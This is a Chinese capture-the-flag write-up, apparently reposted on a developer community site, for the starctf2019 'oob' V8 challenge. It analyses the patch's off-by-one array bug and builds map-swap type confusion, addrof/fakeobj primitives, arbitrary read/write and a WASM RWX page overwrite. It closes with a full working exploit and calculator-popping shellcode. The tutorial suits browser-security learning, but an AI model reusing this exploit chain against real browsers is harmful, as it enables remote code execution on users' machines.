前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >初识v8之starctf2019-oob

初识v8之starctf2019-oob

作者头像
h1J4cker
发布2022-12-01 15:53:35
5240
发布2022-12-01 15:53:35
举报
文章被收录于专栏:二进制安全

最近开始学习浏览器相关的知识了,虽说看了一些基础知识,但是对于漏洞利用的手法仍然不是很明确,询问队里的大佬后,给我推荐了一道入门题,在做完之后写出了这篇文章。

SatrCtf2019-oob

数组对象的结构

这里简单讲解一下做这一题需要的前置知识。

首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。

Float_Array数组的结构如下图:

其中Map(也叫Hidden Class)属性代表了数组的类型,对于相同类型的对象,他们的Map应该相同,这一点非常重要,后面题目中我们会用到。

另一个很重要的就是Elements,它本身就是一个对象,他指向了真正保存数组内容的地址(Fixed Array),假如我们对Array数组进行赋值:Float_Array = [1.1,2.2,3.3],那么数组的值将会分别被存储在图中Value1,Value2,Value3的位置。

上面的图只是结构的示意图,而在内存中从低地址到高地址的结构图应该是下面这样:

类型混淆

同样以上面的Float数组Float_Array为例,我们再新增一个对象数组叫做Obj_Array,他们的类型不同,所以Map值也是不相同的,如果此时有一个漏洞,可以让我们将Float_Array的Map的值更改为Obj_Array的Map的值,那么此时就造成了类型混淆,如果我们从Obj_Array中取值,它返回的不再是一个对象,而是以Float的形式表示的对象的地址。

diff文件分析

有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff的文件,打开文件发现前面有一个名为SimpleInstallFunction的东西,结合网上对于JavaScript API的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行:

代码语言:javascript
复制
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

结合文件中的注释可以看出,当参数个数为0(对应len==1,因为对于内置函数,会有一个this指针作为一参)时,将会输出Array[length]位置的值,这里造成了越界读,因为正常来说,我们取第length个位置的值,应该取得是Array[length-1]。

当参数个数为1时,可以向Array[length]的位置写入所传的参数,这里就很有问题了,因为当我们想向第length个位置写入的时候,我们写入的位置是Array[length-1],所以这里其实造成了越界写。

从数组越界到任意地址读写

根据以上的分析,由于浮点数组的Map正好与Fixed Array紧邻,所以我们可以通过泄露出浮点数组的Map值,同理,当我们创建一个对象数组时,也可以泄露出对象数组的Map值,测试代码:

代码语言:javascript
复制
//test.js
var buffer = new ArrayBuffer(32);
var f64 = new Float64Array(buffer);
var i64 = new BigUint64Array(buffer);

function f_to_i(target){
    f64[0]=target;
    return i64[0];
}

function i_to_f(target){
    i64[0]=target;
    return f64[0];
}

function hex(target){
    return target.toString(16).padStart(16,"0");
}
var float_array = [1.1];
var obj={"a":0x11};
var obj_array = [obj];

var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();

console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));

%DebugPrint(float_array);
%DebugPrint(obj_array);
%SystemBreak();

在d8的同级目录下打开运行gdb ./d8,进入gdb界面后,输入命令set args --allow-natives-syntax ./test.js,然后run就行了:

可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是:

代码语言:javascript
复制
var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();

这两行代码,前面分析过,不传参数就会输出Array[Length]的值,而这个做法越界了一个内存单元,由上面的内存结构图可以看出来,Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob(),就可以泄露出相应的Map。

前面说过,当我们传入一个参数,会越界一个内存单元去写入参数值,那么此时我们已经有了两个数组的Map值,那么我们是否能修改Map值达到类型混淆呢?答案是肯定的,在刚才的测试代码中加入以下代码:

代码语言:javascript
复制
obj_array.oob(float_hidden);

运行之后,gdb查看内存:

可以看见,obj_array的Map也被改成了float_array的Map值,根据我们以上的结论,我们可以很简单的构造出以下原语:

代码语言:javascript
复制
//leak用来泄露出目标obj的地址,基于越界读
function leak(Target_Obj){
    obj_array[0]=Target_Obj;
    obj_array.oob(float_hidden); //类型混淆:Object --> float
    let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
    obj_array.oob(obj_hidden);
    return obj_addr;
}

//fake用来伪造一个obj对象并返回,基于越界写
function fake(Target_Obj){
    float_array[0]=i_to_f(Target_Obj+0x1n);
    float_array.oob(obj_hidden); //类型混淆:float --> Object
    let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
    float_array.oob(float_hidden);
    return fake_obj;
}

现在我们已经有能力泄露出一个对象的地址,以及伪造一个对象了,但是这还没有达到我们的目的,为了达到最终RCE的目的,我们还需要任意地址读写,这也可以基于以上两个功能实现。

试想一下,我们现在有一个Float类型的数组:Array,我们对其进行如下赋值:Array = [Float_Map,0n,0x41414141n,0x400000n],那么他的Fixed Array在内存中的结构如下图所示:

此时如果我们使用leak,泄露出Array的地址,并且根据图片可以计算出泄露出的地址到我们第一个元素的距离为:

代码语言:javascript
复制
addr = leak_addr - n*(0x8)-0x10+0x10

leak_addr就是我们泄露的地址,而n代表的是元素个数,每个元素8个字节,减去0x10是由于Fixed Array的头部还有Map以及Length,再加上0x10是由于elements真正指向的是Fixed Array开头加上0x10的位置。

那么观察我们的布局,如果我们通过类型混淆,在我们数组的第一个元素处伪造一个obj并返回,那么由于我们的数组已经被提前布局好了相关结构,就会形成以下的效果:

此时,0x41414141的位置就被认为是Element指向的位置,那么我们只需要更改这个指针即可达到任意地址读写的效果:

代码语言:javascript
复制
function Read_From(Target_Addr){
    fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
    let data = fake_obj[0];
    return data;
}

function Write_To(Target_Addr,Data){
    fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
    fake_obj[0] = i_to_f(Data);
}

如何GetShell

此时,我们已经可以任意地址读写了,那么我们改怎么getshell呢?

这里有两种办法:

  • 常规堆利用,修改free hook为system的地址即可。
  • 通过WASM来执行shellcode

我们这里采用第二种方法,那么我们首先需要直到wasm是什么,wasm既Web Assembly的缩写,他是一种使JavaScript能直接执行机器码的技术,能够帮助程序高效的运行。

但是由于安全性的原因,wasm并不能执行系统函数,只能实现一些类似于return的功能,但是好在我们现在已经能够任意地址写入了,那么我们只需要找到wasm中的RWX段的位置,并向其中写入我们的shellcode,即可让他执行。

那么首先我们要加载一段正常的wasm进入内存:

代码语言:javascript
复制
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);

var wasmInstance = new WebAssembly.Instance(wasmModule, {});

var wasm = wasmInstance.exports.main;

var tmp = wasm();

console.log("If you see 42,that means the wasm code is executed! ==> " + tmp);

通过以下这段代码,我们可以实现return 42的功能,我们来调试看看:

可以看到,确实是成功执行了,那么此时我们需要做的就是找到其中的rwx段,并且向其中写入我们的ShellCode。

我们先泄露出wasm的地址:

代码语言:javascript
复制
var wasm_addr = leak(wasm);

然后根据Function–>shared_info–>WasmExportedFunctionData–>instance的顺序,来寻找我们的RWX的位置,最后在instance+0x88的位置,成功找到可执行段:

那么在代码中我们只需要泄露出这个位置,然后写入相应的shellcode即可:

代码语言:javascript
复制
function Get_Shellcode_Ready(shellcode){
    for(var i=0;i<shellcode.length;i++){
        dataview.setUint32(4*i,i_to_f(shellcode[i]),true);
    }
}
//leak instance+0x88
var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
var Instance_88 = f_to_i(Read_From(Instance+0x88n));
//写入shellcode
var target_buf = new ArrayBuffer(0x100);
var dataview = new DataView(target_buf);
var backing_store = leak(target_buf)+0x20n;
Write_To(backing_store,Instance_88);
//shellcode
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
Get_Shellcode_Ready(shellcode);

//调用shellcode
wasm();

最后放上完整的Exp:

代码语言:javascript
复制
//test.js
var buffer = new ArrayBuffer(32);
var f64 = new Float64Array(buffer);
var i64 = new BigUint64Array(buffer);

function f_to_i(target){
    f64[0]=target;
    return i64[0];
}

function i_to_f(target){
    i64[0]=target;
    return f64[0];
}

function hex(target){
    return target.toString(16).padStart(16,"0");
}
var float_array = [1.1];
var obj={"a":0x11};
var obj_array = [obj];

var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();

console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));

//leak用来泄露出目标obj的地址,基于越界读
function leak(Target_Obj){
    obj_array[0]=Target_Obj;
    obj_array.oob(float_hidden); //类型混淆:Object --> float
    let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
    obj_array.oob(obj_hidden);
    return obj_addr;
}

//fake用来伪造一个obj对象并返回,基于越界写
function fake(Target_Obj){
    float_array[0]=i_to_f(Target_Obj+0x1n);
    float_array.oob(obj_hidden); //类型混淆:float --> Object
    let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
    float_array.oob(float_hidden);
    return fake_obj;
}

var fake_array = [float_hidden,i_to_f(0n),i_to_f(0x41414141n),i_to_f(0x300000000n),1.1,2.2];

var fake_addr = leak(fake_array);

var target_addr = fake_addr-0x30n;

var fake_obj = fake(target_addr);

function Read_From(Target_Addr){
    fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
    let data = fake_obj[0];
    return data;
}

function Write_To(Target_Addr,Data){
    fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
    fake_obj[0] = i_to_f(Data);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);

var wasmInstance = new WebAssembly.Instance(wasmModule, {});

var wasm = wasmInstance.exports.main;

var wasm_addr = leak(wasm);

console.log("wasm addr is leaked! ==> " + wasm_addr);

function Get_Shellcode_Ready(shellcode){
    for(var i=0;i<shellcode.length;i++){
        dataview.setUint32(4*i,(shellcode[i]),true);
    }
}
//leak instance+0x88
var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
var Instance_88 = f_to_i(Read_From(Instance+0x88n));
//写入shellcode
var target_buf = new ArrayBuffer(0x100);
var dataview = new DataView(target_buf);
var backing_store = leak(target_buf)+0x20n;
Write_To(backing_store,Instance_88);
//shellcode
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
Get_Shellcode_Ready(shellcode);

//调用shellcode
wasm();

最后成功弹出计算器:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-11-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SatrCtf2019-oob
    • 数组对象的结构
      • 类型混淆
        • diff文件分析
          • 从数组越界到任意地址读写
            • 如何GetShell
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档